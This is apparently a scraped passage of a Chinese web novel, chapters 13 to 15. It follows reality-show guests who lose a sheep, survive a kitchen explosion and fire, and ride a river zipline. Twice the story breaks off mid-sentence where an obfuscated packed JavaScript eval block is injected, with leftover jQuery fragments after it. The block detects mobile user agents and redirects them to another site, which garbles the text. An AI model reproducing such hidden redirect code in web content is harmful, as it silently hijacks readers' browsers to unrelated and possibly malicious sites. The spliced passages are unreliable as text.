蓝岚看向他,拍了他一下,说:“没事吧?” 高嘉璈自然知道她说的什么事情,笑笑说:“没啥大事,节目还能播。” 蓝岚点头,又忽然想到什么,忙说:“点点自家的羊够不够。”说着,她数了数身上有蓝杠的羊,“三十只,我的对了。” 周晓文也点头:“我的也够,二十只。” 高嘉璈在一堆蓝杠和绿杠中间找红杠,点了一遍,挠了挠头,怎么少了一只。 又点了一遍,心凉了半截,好像真的少了一只。 高嘉璈拉拉蓝岚,“你帮我数数,红杠的羊,有几只?” 蓝岚抬手点了点,说:“十只。” 周晓文也点了下,“是十只,怎么了,你不会丢羊了吧?你的智商还没从猪那儿恢复吗?” 蓝岚:?已经骂得那么难听了吗? 高嘉璈没理他的嘲讽,心彻底凉凉,无助地站在原地,问蓝岚:“如果丢了羊,我该怎么办?”” 13. 丢了羊,燃了房 高嘉璈已经听不见他的嘲讽,心彻底凉凉,无助地站在原地,问蓝岚:“如果丢了羊,我该怎么办?” 蓝岚说:“你没带狗吗?” “阿云……我的农户家没养狗。” 蓝岚皱起眉,“我也不知道了,硬找试试?” 高嘉璈又挠挠脑袋,没梳的头被一挠,鸡在上面下三个蛋都不成问题。 他拿出手机,打电话给阿云。 阿云那头很吵,她听了半天才听明白,“高哥,我现在没在村子里,我在另一个村搬砖。你别急,借陶五孃或者三叔家的狗,给它闻闻羊的味道,牵着一路找,能找到的!肯定又是那两只跳脚麻手的羊!!” “好的好的。”高嘉璈连声说,挂断电话,蓝岚已经把大黄狗牵来了,她说:“你去找吧,我在这里帮你看着其他羊。” 周晓文在憋笑,但也把狗牵来,说:“用我家的狗吧,我羊少,用眼睛也看得住。” 高嘉璈接过他手里的狗绳,道了谢。 大黄狗摇着尾巴,慢慢走在后山到村子的小道上,偶尔还停下来吃两口路边的不明物体,一点找羊的样子也没有。 高嘉璈摇了摇绳子,“哥们,在工作呢,拿出你牧羊犬的精神来!” 大黄狗忽然抬起头,鼻子嗅了嗅,跑了起来。 高嘉璈被它拽着跑,摄影师跟着高嘉璈跑。 大概跑了五分钟后,大黄狗扑到一个人怀里,摇着尾巴求撸。 高嘉璈喘着气,抬起头,发现是梅盛。 我靠。这狗跑半天把梅盛找到了,梅盛的味道和山羊很像吗?! 梅盛看着他气喘吁吁的模样,问:“怎么了?” 高嘉璈摸了下鼻子,他不是很想承认自己笨到连羊都会丢,于是说:“没事,我追狗玩呢。” 说完他才发现,这样说显得自己更像个傻子。 梅盛指了指相机。 高嘉璈只好认命地说:“好吧,我丢了一只羊。”他把“一”字咬得很重。 梅盛问:“只丢了一只?” 高嘉璈无语:“你什么意思?” “羊是群居动物,一般不会一只跑离群。如果你只丢了一只,那可能是小羊,被人偷走、掉下山崖、被狼吃了都可能。” “你认真的吗?这里有狼?” “没有。” “那你说了干嘛?吓我一跳。” 梅盛笑了笑,说:“被人抱走的概率也不大,毕竟邻里之间都了解,最有可能是掉下山崖了。” 高嘉璈问:“那现在怎么办?”话音刚落,他的手机响起。 “嘉璈哥,”来电的是蓝岚,“你家有只羊非要乱跑,被我逮住了,你先回来把它赶回去吧,不然一会儿又丢了。” 阿云家的羊是有多动症吗?高嘉璈挂了电话,牵起梅盛大黄狗,说:“那边又出了点事,我先……” “我帮你找。” “你不用干别的活吗?” “干完了。”梅盛淡淡地说。 高嘉璈哑住,这就是总裁效率吗? 二人走在回后山的路上,高嘉璈咳了一声,说:“你昨晚给我刷的礼物,我以后赚了钱还给你。” “不用。”梅盛说。 高嘉璈歪头从下看了看梅盛,说:“你后面为什么要主动退出直播?” “那时你很难做,”梅盛也转头,看向高嘉璈,“而且我知道,你不会选我。” 他的语气很平静,一丝苦笑在他眼里闪着。 高嘉璈愣住,低下头避开他的视线。 他也搞不清自己对梅盛的情感了,似乎他们感情的顶点在初见那刻达到顶点,之后一路下降。 一个农业总裁莫名其妙爱上自己,高嘉璈已经过了初中读霸总文学的年龄了,他知道梅盛有什么事情瞒着他,他不喜欢不纯粹的感情。 梅盛自嘲地笑了笑,转过头,没有再说话。 回到后山草场,高嘉璈一眼就看见蓝岚使劲抱着一只咩咩叫个不停的大羊,不让它跑。 周晓文在一旁假装着急,手却一点不动,看见梅盛,忙笑着和他打了个招呼。 梅盛没理他,不是故意不理,而是注意力被蓝岚手里那只狂躁的羊吸引了。 “放开它。”梅盛几步上前,看了看羊,说。 蓝岚一怔,“放了不就跑了吗?” “跑了就知道另一只羊在哪里了。”梅盛没有多解释,他的心情并不好,眉间的压抑更沉重了。 蓝岚虽然不懂,但还是放开,羊蹭地一下跑了出去。 “你别去了,我帮你找。”梅盛说这句话的时候,没看高嘉璈,抬脚追了上去。 周晓文赶忙拉上呆住的高嘉璈,说:“走啊,你还真让梅哥替你背锅吗?” “诶!这剩下五十多只羊怎么办!”蓝岚问。 “你可以的!”周晓文答道。 蓝岚翻了个白眼,男人果然一个都不靠谱,她掏出手机,打给杨梅。 早点已经消化完,但高嘉璈暂时感觉不到热和饿,他心里只有焦躁——因为丢了羊、因为梅盛在身边、因为周晓文也在身边。 大羊一路叫,带他们走在山间。他们已经走到了另一座山上了,这些山绵延起伏,一座接一座,并没有非常明显的分割线。 天气有些阴沉,似乎要下雨了。 周晓文看着山下的江,江水的样子已经和昨天完全不同了,他担忧地问:“我们会不会迷路啊?” 梅盛说:“不会。” “为什么?” 梅盛没有回答了。 周晓文想自己真愚蠢,怎么能追问大佬已经确定的事情呢? “梅总我……” “别说话。”高嘉璈打断,他听到了一声微弱的羊叫声,不远,听起来是小羊。 大羊朝一个方向叫起来,一声接一声地。 他们顺着那个方向摸过去,只见大树下,一只灰扑扑的小羊被大树的藤蔓缠住,小细腿还在一蹬一蹬地。 最重要的,它的背上有一道红杠。 高嘉璈重重松了口气,扯开藤蔓,小羊落在地上,腿踩了几次都没站起来。高嘉璈忙想去抱它,结果是被踹了好几脚,无从下手。 “受伤了。”梅盛说着,脱下冲锋衣,蹲下身,轻轻裹住小羊,像抱婴儿一样把它抱起,左右颠着,小羊逐渐恢复平静。 高嘉璈看在眼里,梅盛对这些事情的熟练程度绝不是在镜头面前装的,他好像曾千百次做过这样的事。 “给我吧。”高嘉璈伸出手。 没想到,周晓文凑到梅盛身边,说:“梅哥,我来抱。” 高嘉璈奇怪地看着他,自己要抱是因为这本来就是阿云家的羊,他要抱是因为什么?摆造型吗? 周晓文很快给出答案:“你走了那么久,也累了。” 哦,为了拍马屁啊。 梅盛瞥了周晓文一眼,“你确定要抱?” 周晓文点头。梅盛便把羊放到他怀里,小羊不适应地蹬了几脚,又安静下来,躺在周晓文怀中。 那只大羊还等在原处,看见周晓文怀里的小羊,上去轻轻拱了拱,咩咩叫了几声。然后转身,带着他们往回走。 真有灵性,高嘉璈问梅盛:“对了,这只大羊怎么会找得到小羊的?” 梅盛答:“大羊是小羊的妈妈,羊妈妈能辨别出是自己的孩子的叫声,会迎着小羊的方向使劲回应。可以跟着羊妈妈顺着小羊叫声的方向去寻找。” 高嘉璈点头,又问:“你不怕迷路吗?” 梅盛说:“只要看得见江,就不会迷路,你只要顺着江走,总能找到村子的。” “你怎么知道那么多?”高嘉璈打量着梅盛,“好像你来过这个村子一样。” 梅盛说:“公司需要调研西瓜地村是否有什么农业发展途径,我亲自来调查的。” 高嘉璈这才想起,这话梅盛之前就说过,只是他没放在心上罢了。 但他还是不信:“割猪草、找菜、割麦子、喂猪、找羊……你什么农活都会,这也是调研需要?” 梅盛说:“我在村子住了一段时间,向村民学习的。不融入他们的生活,我怎么知道他们要什么?” 高嘉璈挑了挑眉,心想梅盛倒是比王总良心多了。但心里又觉得哪里怪怪的,梅盛说的应该是真话,到底哪里怪呢? 周晓文心里也有小九九,自己刚才问了同样的问题,梅盛可没那么耐心。难道说,梅盛喜欢在一件事做完后再复盘? 那他岂不是可以回去后再问“为什么不会迷路”这个问题,还可以就此拓展一下话题。 这可比爬床聪明多了。他暗道机智,脚步加快,紧跟梅盛身边,正要开口,天上却窸窸窣窣下起小雨来。 高嘉璈戴起衣服兜帽,又帮腾不出手的周晓文戴上帽子。 梅盛抬手感受了一下雨量,说:“快走。” “没事,”周晓文笑着说,“这点小雨不值一提。” “一会儿可能会有泥石流。” 周晓文:? 高嘉璈也惊道:“真的吗?泥石流来了我们怎么办?” 周晓文表情管理住,说:“小学老师不是教过吗?往泥石流垂直的方向跑,逆着泥石流而上。” 高嘉璈看了看这陡峭的山,别说逆着泥石流跑,他就算是全副武装也爬不上去。 梅盛说:“这里的地形特殊,很难往上跑。如果遇到泥石流,只可能被冲到山底。” 高嘉璈:“冲到山底,还能活吗?” 梅盛看向他,说:“不可能活。” 小雨似乎变得没那么平淡的,周晓文和高嘉璈打了个寒颤,都不自觉加快了脚步。 走着走着,周晓文闻到一股臭臭的味道。四处寻找后发现,这个味道来自自己。 低头一看,小羊居然拉了他一袖子的便、便。 “啊!!!!” 周晓文的尖叫回荡在山林,激起一片鸟儿。 …… 小羊送到了梅盛借住的农户里,农户陶三叔是个兽医,村里大小牲畜生病都是他来治。 高嘉璈赶着其余十只羊回阿云家,关到羊圈后,只觉累得要昏倒了。 那边白子慎的呼噜声震天响,但猪也在跟着哼哼唧唧,高嘉璈过去一看,食槽空了,白子慎的箩筐放在旁边,里面有半箩筐猪草。 秉着猪饲料代言人和曾经听懂过猪说话的心,高嘉璈拖着疲惫的身体,把昨天剩下的猪饲料倒进食槽里。 做完这一切,雨已经停了,太阳重新冒出头。 高嘉璈回房间看见喜羊羊的被单,头皮发麻,换了个面,躺在上面很快睡着了。 一觉无梦,直到下午五点,高嘉璈才被电话吵醒,他迷迷糊糊地接起来。 “天呐你终于接电话了,”来电的是海儿,“今晚的任务是六人合伙烧饭,你赶紧起床,把头发梳一下!” “在哪里啊……”高嘉璈迷迷糊糊地问。 “来阿云家,你家!现在应该快到了,你快点起来!” “什么?!”他蹭地坐直身体,“怎么没提前通知?” 海儿扶额,“你好好看看每日活动的专栏,都有发布的。” 今日活动: 1,每户抽一位嘉宾上山放羊,另一位嘉宾完成昨天早上的任务。 放羊要求:不丢羊,羊吃饱; 割猪草要求:至少半箩筐; 纳鞋底要求:至少三双。 2,下午自由活动,晚上由节目组提供食材,六位嘉宾共同到一户人家做饭,抽签决定哪一户。 要求:使用灶火,不允许用电磁炉等现代设备。 高嘉璈拿起电话:“我没有抽签啊。” 海儿:“你睡到现在抽什么签?白子慎替你抽了。” 话音刚落,外面传来敲门声。 高嘉璈匆匆挂了电话,挂电话前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246599|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海儿还在咆哮:“记得梳梳头!” 高嘉璈随便拨弄了一下,顶着乱七八糟的头开了门。 门外五个嘉宾的谈话声一顿,蓝岚首先笑了笑,问:“才睡醒啊嘉璈哥。” 高嘉璈不好意思地挠了挠头,请他们进来。 五个人手上提着菜,乌泱乌泱地挤进去,其他两家的人都不自觉地打量起阿云家,饶是周晓文都露出同情的表情。 他啧啧两声,“不容易啊,怪不得你总是一副没吃饱的样子。” 高嘉璈白了一眼,问:“你袖子上的羊屎洗了吗?” 周晓文一听,嘴都气歪,不再理会高嘉璈,蹲下把菜拿出来。 他们分了工,白子慎、杨梅洗菜,周晓文洗碗,蓝岚上山捡细柴生火,梅盛出门打水,高嘉璈被分配了一个最难的任务——劈柴。 是的,阿云家层层叠叠放着很多粗柴,但都没劈开,没办法直接放进火炕。 高嘉璈把木桩搬到院子里,又从门边挑了把斧子,掂量两下。拿起粗柴放在木桩上,比划了一会儿后,抬起斧子,往下一劈。 所有人都屏气凝神地看着。 斧子砍偏,划过木柴边。 木柴滚落在地,斧子狠狠砍在木桩上。 所有人低下头,就知道高嘉璈不会一次成功的。 高嘉璈尴尬地挠挠头,打算再来,没想到斧子紧紧卡在木桩里,他只好手脚并用地去拔斧子。 斧子飞了出来,划过天空,“砰”地一声砸到周晓文脚边。 周晓文:? 高嘉璈:“我靠,抱歉抱歉。” 周晓文怒气冲冲地拿起斧子,高嘉璈往后缩了一下,不至于吧! 周晓文说:“你是不是猪脑子?!没吃过猪肉还没见过猪跑吗?劈柴是这样劈的吗?你不会拿手机搜索一下吗?” 鉴于自己有错,高嘉璈也只好默默受着他的骂,要过去拿斧子再试,却被周晓文躲开:“我来劈!” 高嘉璈说:“那我去洗碗?” “我洗好了!”周晓文皱着眉,一副厌蠢症犯了的模样,“你去生火吧。” 周晓文嘴贱,但居然真的很快学会了劈柴,比他割猪草的时候灵活多了。 高嘉璈把他劈好的柴抱到灶房,恰好蓝岚回来,在她的帮助下,高嘉璈点燃细木柴和木屑,用火钳放进火炕,又加了几块木柴,火炕缓缓燃了起来。 接着就是炒菜烧汤煮饭。 白子慎在得到梅盛煮饭“教学”后,兴致勃勃地来煮饭。 高嘉璈看见水都还没浸泡过最上层的米,提出疑问,却被白子慎怼了回去:“梅总说了,水距离米饭要刚好一个指节,我把手指插在饭里看了,水刚好距米刚好一个指节。” 听起来怪怪的,但高嘉璈也没什么煮饭经验,没再说什么。 大多数菜是蓝岚做的,但周晓文非要秀一秀厨艺,高嘉璈便和杨梅蹲在火炕边加火,结果两边配合得“完美无缺”,炒出的豆角比高嘉璈还糊。 梅盛看了一眼,把袖子挽在手臂上,露出精壮的手臂,“我来。” 他修长的手指扶住豆角,“咚咚咚”几下切好,起锅烧油,把豆角丢进去。 “加火。”梅盛说。 杨梅拿来木柴,高嘉璈用火钳夹着丢进火炕,火瞬间升高,舔舐着锅底,豆角的香味开始四溢。 梅盛像个大厨一样,居然还会颠锅,把高嘉璈和杨梅看得目瞪口呆。 炒了一会儿,梅盛一手拿锅,一手用筷子夹了一根冒着热气的豆角,悄悄吹了吹,看向高嘉璈,说:“尝尝熟了没有。” 蓦地被点名,高嘉璈站起身,要接筷子却被梅盛避开,“你手太脏了。”他说。 高嘉璈说:“那我怎么尝?” “张嘴。”梅盛说着,把豆角送到他嘴边。 高嘉璈来不及反应,就被豆角的香气诱得下意识张嘴,下一秒,香甜而清新的豆角味占领口腔。 他眼睛闪着光,点了点头,说:“还不错。” 梅盛勾起嘴角笑了笑,把豆角装盘,说:“等饭煮好了就可以开饭了。” 说完,端起豆角准备离开。 “你干嘛不自己尝?”高嘉璈后知后觉地问道。 梅盛只笑着看了他一眼,走出灶房。 杨梅拉了拉高嘉璈的裤脚,悄悄说:“豆角没熟不能吃的,会腹泻。” 高嘉璈:??? “不会死吧?” “这倒不会,”杨梅说,“顶多就是去医院住几天。” 高嘉璈此时只想抓一把生豆角塞梅盛嘴里。 “梅哥,”外面传来周晓文的声音,“你炒的豆角好香啊,好想吃一口,但我抱着凳子不方便,你能不能夹一筷子我尝尝?” 梅盛说:“开饭了再吃。” 高嘉璈和杨梅对视一眼,笑出声来。但一想起自己吃了不熟的豆角,高嘉璈的笑意又消失了。 这时,灶台上煮米饭的锅盖一下一下地跳动起来,杨梅伸头看了一眼,说:“是不是火太多了,要不减点儿?” 高嘉璈才要动,却听见一声细小的炸裂声,不安的情绪袭来,下一秒,火突然窜大。 “小心!” “砰!!!” 煮饭的锅像炸弹一样爆开,震得整个村子都抖了一抖。 四个嘉宾跑向灶房,里面烟雾弥漫,还有火星子没扑灭,落到旁边的柴火上,很快燃起火来。 其他三个嘉宾愣在原地,直到梅盛大声说:“找水!”他们才如梦初醒,忙去抬水。 梅盛拉上冲锋衣拉链,准备跑进灶房。 “危险!!”周晓文拉住梅盛,里面的火势迅速攀升,马上要舔到房梁了。 梅盛一把挣开周晓文,跑了进去,他感觉自己的心在狂跳、手在颤抖,恐惧、极度恐惧的情感几乎要吞没他,只剩一丝理智强拉着他找人。 “高嘉璈!!”他喊道,声音是颤抖的。 14. 爆炸余温 “咳咳。”左边传来咳嗽声,梅盛连忙过去,只见高嘉璈趴倒在地上,额头有血,双眼紧闭。而杨梅被他护在怀里,仅是脸上有些灰。 “梅哥,”杨梅的声音里带着哭腔,她看看近在咫尺的高嘉璈,“咳,救他……救他梅哥……” 梅盛颤抖着蹲下身,拉开高嘉璈紧紧环绕在杨梅肩头的手,扶起杨梅,“快走。” 杨梅双眼通红,泪水被火的热度融化,她看着高嘉璈,只会说:“救他,救他……” 梅盛推了她一下,“快走,我救他!” 杨梅最后看了高嘉璈一眼,跑出火场。 周晓文一把抓住杨梅:“梅总呢!” 杨梅捂着嘴,抽泣说:“高哥,晕倒了,梅哥也在里面……” “舀水去!!”蓝岚说,然后一盆水往灶房里泼。白子慎紧接其后,脸色十分难看。 周晓文这才反应过来,连忙去水缸舀水,杨梅也抹了把泪,提起水桶。 墙外传来闹哄哄地声音,杨梅跑去打开门,节目组和村民们提着大桶小桶的水过来了,还有人带了皮水管,接上水龙头直接用。 看见他们,几个嘉宾还没松下一口气,忽然,灶房里又传来一声巨响。 村长走过去一看,捂住脑袋说:“梁掉掉了!!” 村民们神色凝重起来,有人说:“梁掉了,人出不来了!” 陈彤腿一软,跪倒在地,他完了。 海儿一把拉住村长,“现在怎么办?” “进不去救人,只能先隔开火源,不要让火一直烧啊!” “那就照做!” 海儿话音刚落,灶房传来一阵响动,所有人朝灶房看去。 熊熊烈火中,梅盛抱着昏迷的高嘉璈,踏火而出。 如果这是在拍电影,那陈彤一定会因为这个镜头横扫大奖,可惜这是现实。 嘉宾、工作人员、村民回过神来,一拥而上,有的提水有的接水管,合力扑火。 梅盛的冲锋衣上全是火燎出的火洞,脸上满是碳灰。他把高嘉璈平放在院子的空旷处,跪在他身边,探了呼吸,发现只有急促的喘息,直接解开他的裤腰带、撕开他的T恤领,然后一手捏住他的鼻子,一手轻握住他的下巴,弯下腰。 高嘉璈在梅盛的唇碰到自己时就醒了,耳里一阵鸣叫后,他听见了火烧裂木头的声音、水扑向火的声音、人们的脚步声……嘈杂一片。 但梅盛的身边是安静的,只有梅盛的呼吸声、心跳声,微凉的唇很克制地停在自己嘴边,只要有一点细微的动作碰到自己都会远离。 高嘉璈的眼睛动了动,醒了过来。 火势终于扑灭,烧了阿云家半墙的柴火,整个灶台被烧得黢黑,煮饭的锅炸得四分五裂,只剩一些铁皮。 医护人员给高嘉璈来了一套全身检查,发现他除了口腔里有些烟灰外,没有受伤,晕倒应该是由于惊吓。 杨梅复杂地看了高嘉璈很久,锅炸的瞬间,自己半个脑袋还伸在外面,要不是高嘉璈一把把自己揽倒,绝对毁容了。 她认真地说:“谢谢你。” 高嘉璈无所谓地笑了笑,说:“你没事就好。” 梅盛站在人群之外的院门边,同样静静看着高嘉璈。 海儿反复问了医护人员很多遍,确定真没事后,长长松了口气:“不是,大哥,你们在干啥啊?制造炸弹吗?怎么能发出那动静呢?” 高嘉璈艰难地吐出两个字:“做饭。” 难言的沉默,海儿深吸一口气,说:“你们做饭能把人家灶房烧了,要真让你们去研究炸弹是不是要把全世界炸了?” “我也不知道为什么,锅忽然就炸了,”高嘉璈灵光一闪想起什么,低声问,“煮饭的水是要高过米一指节还是低于米一指节?” “水肯定要比米多啊!又不是做爆米……” 二人似乎明白了爆炸原因。 海儿凑近他耳边,更低声地问:“这蠢事不是你干的吧?” “不是我。” “那就好,不然你真要被骂死了。” 陈彤来了,他整个人像是才从水里捞出来,出了一身汗,说:“今天灶房的摄影机被炸毁了。节目组很抱歉,我们之前没想到有这样安全隐患,阿云家的损失我们承担,明天我们会把灶台修好并且给阿云一个新锅。几位嘉宾明天也休息一天,去旅游放松一下。” 嘉宾和节目组的人吃了几口方便面垫肚子,沉默地各回各家。 高嘉璈洗了个澡,出来发现白子慎站在院子里,左右踱步。 “那么晚不睡啊白哥。” 白子慎听见声音,抬头朝高嘉璈走了几步,似乎要说什么,话到嘴边又沉默。 高嘉璈也不奢求他道歉什么的,说了句我先睡了,略过他正要开门,又被叫住。 “嘉璈,”白子慎表情有些尴尬,“你身体那些,没事吧?” 高嘉璈说:“还行,没受什么伤。” “我在想,爆炸会不会是因为我饭里的水放反了,我刚才搜了一下,水要比米多,但我……” 高嘉璈走上前,拍了拍白子慎的手臂,说:“我们都是第一次用灶火,遇到什么事情都可能,我今天还不是差点把周晓文砍死。以后好好学吧。” 白子慎只好叹出口气,说:“我也不瞒你,来参加综艺,也只是因为老了,想躺着把钱赚了。我真没想到那么艰苦那么难。你说我们这才几天就那么难,那农民从生下来就要干这些事情,不是更难。” “白哥,不要站在高位者的地方去批判别人的生活,”高嘉璈看着他,又拍了下他的肩,“睡吧,明天还要去旅游呢。” 高嘉璈进门前看了一眼猪槽,已经有人喂过了。但显然不知道量多少,倒了一整袋进去,明天阿云回来又要觉得可惜了。 睡前他最后想的是:怎么自己没有腹泻。 …… 陈彤真让他们去旅行了,虽然有摄影机跟着,但也算公费旅行。 目的地是距离西瓜地村一百多公里外的神女雪山。 早上八点出发,两个嘉宾一辆车,按照住宿分,高嘉璈和白子慎早上起来互相尴尬地打了个招呼,上车后几乎没说过一句话。 高嘉璈看了看手机,只有海儿一条消息,让他注意安全。 车沿着盘山公路转了一万个弯,一路往下,江面不断变宽,气温也逐渐上升。一个多小时后,在江边一个镇子停了下来。 说是江边,其实比江高出五六十米,同样沿山而建,但这个村子看上去比西瓜地村有钱多了,修了公路、路灯、水泥地,每个房子是瓷砖做墙,画了各种各样的山水画,还有饭店、旅社。 高嘉璈下车,往后瞟了一眼。梅盛穿了件黑衬衫,外面套了件深灰色的皮夹克,修身的裤子下搭了一双纯黑靴子。虽然搭配思路简单,但他的衣服很有质感,是个人都也能知道这人身份不简单。 相比起来,自己的卡其色T恤显得很一般——唯一一件贵T恤昨天被梅盛扯烂了。 白子慎伸了个懒腰,说:“这就到了,我还以为很远呢?” “不是说雪山吗?”杨梅也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246600|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了车,看看周围,“在哪里啊。” 没错,周围的山很高,但都光秃秃的,只有一些灌木丛零零碎碎地洒在上面,没有雪。 蓝岚说:“难道现在太热,雪都融化了?” “各位可农!”许久不见的主持人大升从节目组车上下来,“尼桑镇是一个中途站,我们下午将在这里做导游,来赚取去雪山旅行的经费!” 嘉宾:啊? 高嘉璈:还好我没化妆打扮。 周晓文强忍着想杀人的表情,龇牙咧嘴地笑问:“我用我自己的钱出旅行费可以吗?” 大升笑得很官方:“不行哦周老师,现在是旅游旺季,西瓜地村的村民也会下江边来做导游,你们是西瓜地村的可农,需要和他们做一样的事情赚钱,才能去旅游。” 周晓文:“这鬼地方哪里有人来旅行啊!?” 两辆大客车停在他们数十米前的旅馆前,乌泱乌泱下来大批爷爷奶奶大娘大叔。 大升笑说:“下午大家分成两组,一组背导游词,带游客浏览并解说尼桑老城和博物馆,这组需要四个人。另一组带游客体验溜索,需要两个人。” “溜什么?”白子慎以为自己听错了。 “带游客溜索,就是一条铁链链接江两岸,借助一些道具,从铁链上滑到江对岸,再滑回来,”大升说,“这是当地以前过河的唯一办法,现在国家建了桥,溜索就成一种旅游项目了。” “我去背导游词。”白子慎赶紧说,生怕晚一秒就会掉进奔腾的江水里。 杨梅本想选溜索,却被蓝岚拦住,“你太轻了,会卡在索道中间,我们一起去做导游。” 最后又剩周晓文、梅盛和高嘉璈。 周晓文小声对高嘉璈道:“你选做导游吧,我把简单的活儿让给你。” 不就是想和梅盛在一起吗?高嘉璈小小白了他一眼,说:“我选溜索。” 周晓文急了,瞪着高嘉璈说:“我也选溜索。”来吧,互相伤害。 大升似乎对这样的结果并不惊讶,他看向梅盛,说:“梅总,那您做导游?” 梅盛拍了拍周晓文的肩,说:“我年纪大了,走不动路,也记不住导游词,晓文,你帮我去,好吗?”他的语气真挚,一张深邃帅气的脸冲击着周晓文。 周晓文鬼使神差地没法拒绝,点了点头,点完头他才发现自己上套了。 吃完午饭,高嘉璈目送怒气冲冲的周晓文离开,看向梅盛,心里居然有些雀跃。 他们跟着一个大叔往下走,来到江边一个不高的平台上。这里聚集着许多人,有大娘大叔爷爷奶奶,也有年轻人,一看到高嘉璈和梅盛就抬起手机狂拍。 高嘉璈笑着和他们挥了挥手,梅盛没什么表情。 四条索道横贯大江,从那边山的平台延伸到这边平台上,平台上,一个一人高的木盒把固定索道的装置遮住,木盒外用马克笔写着七歪八扭的几个字:“50元一位,来回”。 索道上有溜索的滑轮,但下面没什么坐的地方,高嘉璈还以为要拿手握着溜,正准备做几个俯卧撑,被大叔塞了一件长马甲,上面还有个铁钩,穿上后,手臂和大腿都被锁在马甲里。 梅盛和大叔用方言讲了几句,大叔用很震惊的眼神看着梅盛,似乎在问他:你确定? 梅盛点头,转头对穿好马褂的高嘉璈:“过来。” 身后女生们发出了诡异的尖叫声。 高嘉璈挪到他身边,说:“我之前没有溜过,是不是要让大叔先带我溜一程?” “我带你。”梅盛说。 15. 溜索 高嘉璈:?这你都会? 不等高嘉璈回答,梅盛拉住他胸前的铁钩把人拉进,“弯腰。” 高嘉璈还沉浸在梅盛真全能的想法中,弯下腰,铁扣扣到滑轮上,他终于明白马甲的意义,就像坐在凳子上一样,整个人被侧着挂在滑轮上,和索道呈一个十字。 还挺有趣的,他面对岸上围观群众,打了个招呼。 围观群众也笑着和他打了招呼。 梅盛把铁扣扣到靠进江面那边的滑轮上,握住高嘉璈的铁扣,问:“准备好了吗?” 高嘉璈拨开被风吹乱的头发,点了点头。 梅盛的长腿用力一蹬地,两个人顺着索道滑了出去。 岸上的人群迅速远去,风拍打在脸上,脚下是奔腾的江水,随便一动都有种失重的感觉,好像飞起来了一样爽。 高嘉璈兴奋地喊叫起来,“啊啊啊好刺激!”说着,转头看梅盛,却撞进他带着笑意的目光。 梅盛的笑从来都是不达眼底,除了现在。 高嘉璈看着,想起之前梦里那个小梅盛。 对岸很快到了,梅盛的长腿先着陆,单手解开卡扣,要帮高嘉璈时,却见他自己解开了。 高嘉璈脸上又惊魂未定又高兴不已,再看对面,人群已经变成一个个小蚂蚁了,他笑着说:“天呐,好快,好刺激,好好玩儿!!” 梅盛看着连头发丝都很愉快的高嘉璈,想抬手揉揉他的鸡窝头,还没动,却见他又自己把自己挂到索道上:“快快快,再来一次!” 梅盛忍住笑意,说:“索道是从上滑到下的,你怎么从下滑上去。” 有道理啊。 “这边。” 高嘉璈解了铁钩,跟上梅盛,他们顺着石板路攀上一段,在一个小亭子停下。 亭子里有一个和对岸一样的木箱,两条索道。 “我们是导游,”梅盛看了看对面的围观群众,目光落到高嘉璈身上,“不能让游客自己扣自己滑,这一次,你带我滑过去。” 高嘉璈歪了歪脑袋,笑道:“好啊。” 梅盛抱起手,问:“高导游,我现在应该做什么?” 高嘉璈站到索道旁,做了个请的姿势,“梅老板,请走到这里,弯下腰。” 梅盛跨开步子,走了过去,弯下腰,“然后呢?” “把扣子扣到滑轮的那个空隙里。” “我不会。” 高嘉璈无语地蹲到他对面,拽住他马甲前的铁扣往下一拉。 梅盛的味道猛地逼近,像白桦树一样缠绕住他。 高嘉璈睫毛微微颤了颤,快速给梅盛扣好,看梅盛像个树懒一样吊在索道上,又觉得好笑,掏出手机拍了一张。 欣赏了一会儿自己高超的摄影技术后,高嘉璈扣上自己的锁扣,拉了拉确认安全,握住梅盛的滑轮,说:“走咯!” 腿一蹬,没想到梅盛的滑轮很重,高嘉璈手没拉稳,脱开,一个人朝江对面滑去。 风再次拍打在脸上,梅盛变成一个点,一个人滑更像一只初次张开翅膀的鸟儿,没有任何禁锢地飞跃在金江之上,高嘉璈双手张开,兴奋地喊了起来。 结果,过了江心,滑轮的速度开始渐渐降低,在距离江岸还有数十米的地方,卡住不动了。 高嘉璈像一只被捕获的鸟,被吊在索道半空,脚下是奔腾的江水,头顶是遮天蔽日的群山。 岸边大叔大声招呼他:“握住索道,爬过来!” 高嘉璈只好双手握住索道,想像蜘蛛侠那样爆发出极强的力量,可在索道上的姿势实在奇怪,很难使出劲。 现在的他像只毛毛虫,在索道上无助地蛄蛹着。 岸上粉丝游客们在加油呐喊,大叔也为高嘉璈捏把汗。 这时,索道颤动起来,高嘉璈看去,梅盛正用一种能撞飞自己的速度滑来。 “我靠!”高嘉抬手挡住脸,“哥们淡定啊!!” 梅盛看准时机,伸出手,在空中一把揽住他的腰,然后借着惯性,两个滑轮都朝岸上滑去。 人都说在危险的时刻容易爱上对方,高嘉璈以前不屑一顾,直到现在,上不着天下不着地的索道上,梅盛的温度紧紧贴在身后,手像炭火一样灼烧在自己腰间,本就快的心跳不自觉更快了。 “啊啊啊搂腰啦啊啊啊啊!” “啊啊啊啊啊啊我的cp是真的!!” “我的妈啊大为震惊,已经卖到这种程度了吗?” 等踩到地上,腰间的炙热终于离开,高嘉璈赶紧揉了揉耳朵。 梅盛瞟了一眼,暗勾起嘴角,一边往上面平台走,一边说:“你一个人的重量不够滑到对面,一会儿要记住,不要放开滑轮。” 